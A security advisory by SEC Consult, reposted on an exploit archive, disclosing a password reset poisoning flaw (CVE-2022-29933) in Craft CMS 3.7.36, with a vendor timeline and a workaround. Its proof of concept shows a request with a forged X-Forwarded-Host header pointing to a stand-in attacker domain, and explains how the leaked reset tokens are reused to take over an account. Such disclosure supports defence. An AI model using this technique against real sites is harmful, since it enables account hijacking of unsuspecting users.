Craft CMS 3.7.36 Password Reset Poisoning Attack

Authored by Sandro Einfeldt | Site sec-consult.com

Posted May 6, 2022

Craft CMS version 3.7.36 suffers from a password reset poisoning vulnerability. An unauthenticated attacker who knows valid email addresses or account names of Craft CMS backend users is able to manipulate the password reset functionality in a way that the registered users of the CMS receive password reset emails containing a malicious password reset link.

tags | exploit
advisories | CVE-2022-29933
SHA-256 | de06127d774e506b909f777e221d9940b8410ddd11923cc82b9c59ebc88211e5 Download | Favorite | View

Related Files

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20220505-0 >
=======================================================================
               title: Password Reset Poisoning Attack
             product: Craft CMS
  vulnerable version: 3.7.36 and potentially lower
       fixed version: none, see workaround by vendor
          CVE number: CVE-2022-29933
              impact: high
            homepage: https://craftcms.com
               found: 2022-03-14
                  by: Sandro Einfeldt (Office Munich)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Craft is a flexible, user-friendly CMS for creating custom digital
experiences on the web and beyond.

It features:

- An intuitive, user-friendly control panel for content creation and
   administrative tasks.
- A clean-slate approach to content modeling and front-end development
   that doesn't make any assumptions about your content or how it should be
   consumed.
- A built-in Plugin Store with hundreds of free and commercial plugins,
   all just a click away.
- A robust framework for module and plugin development.
- An active, vibrant community."

Source: https://craftcms.com/docs/3.x/


Business recommendation:
------------------------
The vendor responded that the vulnerability will not be fixed as a workaround
is available.

An in-depth security analysis performed by security professionals is highly
advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Password Reset Poisoning Attack (CVE-2022-29933)
The password reset function of the Craft CMS backend login page,
usually accessible under https://<hostname>/index.php?p=admin/login,
is vulnerable to a password reset poisoning attack. An unauthenticated
attacker who knows valid email addresses or account names of Craft CMS
backend users is able to manipulate the password reset functionality in
a way that the registered users of the CMS receive password reset emails
containing a malicious password reset link.

The link contains valid (secret) tokens in the URL's GET parameters that
are necessary to authenticate against the server's password reset function
and enable a user who lost or forgot the account's password to reset the
password. By manipulating the password reset request, an attacker is able to
set an arbitrary hostname in the resulting password reset link. Thereby, the
attacker can set the link to point to an attacker-controlled host.
If a user clicks on the reset link, the valid reset tokens in the GET
parameters will be sent to the attacker's web server and can be
extracted from the server logs. The attacker is able to build a valid
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

- Red Hat 186 files
- Ubuntu 52 files
- Gentoo 44 files
- Debian 27 files
- Apple 25 files
- Google Security Research 14 files
- malvuln 10 files
- nu11secur1ty 6 files
- mjurczyk 4 files
- George Tsimpidas 3 files

File Tags

- ActiveX (932)
- Advisory (79,557)
- Arbitrary (15,643)
- BBS (2,859)
- Bypass (1,615)
- CGI (1,015)
- Code Execution (6,913)
- Conference (672)
- Cracker (840)
- CSRF (3,288)
- DoS (22,541)
- Encryption (2,349)
- Exploit (50,293)
- File Inclusion (4,162)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,656)

File Archives

- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- Older

Systems

- AIX (426)
- Apple (1,926)

```
password reset link by adding the tokens to the general reset link
structure:

https://<hostname>/index.php?p=admin/set-password&code=<token1>&id=<token2>

If the attacker calls the filled out URL with a web browser, the
attacker will be able to reset the account's password and log in.


Proof of concept:
-----------------
1) Password Reset Poisoning Attack (CVE-2022-29933)
First, the attacker needs to browse the following URL:

https://<hostname>/index.php?p=admin/login

The login mask contains a link "Forgot your password?". Following this
link, the attacker gets prompted to submit a valid account name or email
address. After entering the account name or email address and pressing
the "Reset Password" button, the attacker can intercept the resulting
HTTP POST request with an intercepting web proxy (e.g. BurpSuite). The
intercepted request can then be manipulated before getting forwarded
to the server. The attacker needs to add the HTTP header

X-Forwarded-Host: <attacker_host>

while the value should contain the hostname of the webserver under the
attacker's control.

Manipulated Request:
--------------------------------------------------------------------------------
POST /index.php?p=admin/actions/users/send-password-reset-email HTTP/1.1
Host: <IP>
X-Forwarded-Host: www.attacker.com
[...]
Referer: http://<IP>/index.php?p=admin/login
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Registered-Asset-Bundles: ,craft\web\assets\login\[...]
X-Registered-Js-Files: ,http://<IP>/cpresources/[...]
X-CSRF-Token: c9kEDPROifmFNKSKhght_JgkBgnnk5EfXiH1qHA[...]
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://<IP>
Connection: close
Cookie: CRAFT_CSRF_TOKEN=[...]

loginName=test%40example.com
--------------------------------------------------------------------------------

The resulting server response indicates that the request has been processed.

Response:
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 14 Mar 2022 08:19:24 GMT
[...]
X-Powered-By: Craft CMS
Content-Length: 16
Connection: close
Content-Type: application/json; charset=UTF-8

{"success":true}
--------------------------------------------------------------------------------

The user will then receive a malicious password reset email pointing to the
hostname that the attacker provided by adding the X-Forwarded-Host header.

Email:
--------------------------------------------------------------------------------
Hey Test,

To reset your Test Install password, click on this link:

http://www.attacker.com/index.php?p=admin/set-password&code=D6HWm7pGpYEt9mb-mPVh4kGzXWZ8ax5u&id=48b9fe48-91c9-
430e-baa2-5bdf66c88102

If you were not expecting this email, just ignore it.
--------------------------------------------------------------------------------

If the user is not aware and clicks on the link, the values of the reset tokens
"code" and "id" will be sent to the attacker's web server. The attacker is
then able to relay the tokens to the original reset endpoint and reset the
password.


Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable:
* 3.7.36


Vendor contact timeline:
------------------------
2022-03-10: Contacting vendor through contact form.
2022-03-14: Vendor provides Craft CMS installation for verifying the vulnerability.
2022-03-22: SEC Consult provides the vulnerability advisory through contact form.
2022-03-23: Vendor responded that there is a hardening measure available.
2022-03-31: SEC Consult replied that all installations of the current version
             (including the testing instance provided by the vendor) are vulnerable
             by default and the vulnerability is implementation-based and results
             from bad coding practices.
Until 2022-05-02: No answer from vendor.
2022-05-03: Set advisory release date to 5th May. Informing vendor about
             scheduled advisory release.
2022-05-05: Release of security advisory.


Solution:
---------
The vendor knows about the vulnerability and the resulting risks. A possible
hardening measure has to be implemented manually and is documented here:
https://craftcms.com/knowledge-base/securing-craft#explicitly-set-the-web-alias-for-the-site
https://craftcms.com/docs/3.x/sites.html#site-url

The vendor responded that the vulnerability will not be fixed as a workaround
is available.
```

```
Workaround:
-----------
The backend login interface and the password reset function should not be
accessible from the internet or from any unknown IP addresses. The user
must implement the workaround described in the hardening guide above in order
to mitigate this issue.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Einfeldt / @2022
```